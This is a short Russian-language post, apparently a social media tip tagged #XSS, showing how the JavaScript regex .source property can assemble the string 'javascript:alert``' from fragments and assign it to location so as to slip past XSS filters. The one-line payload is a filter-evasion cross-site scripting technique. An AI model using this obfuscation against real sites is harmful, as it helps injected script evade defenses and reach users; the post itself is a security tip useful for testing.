Синтаксис регулярных выражений в js выглядит как
/pattern/flags
.
Но помимо флагов, можно вернуть текст шаблона (исходный) с помощью свойства source.
Вжух, скрываем javascript:alert() от злых защит:
location=/jav/.source+/ascript/.source+/:/.source+/alert/.source+/``/.source
#XSS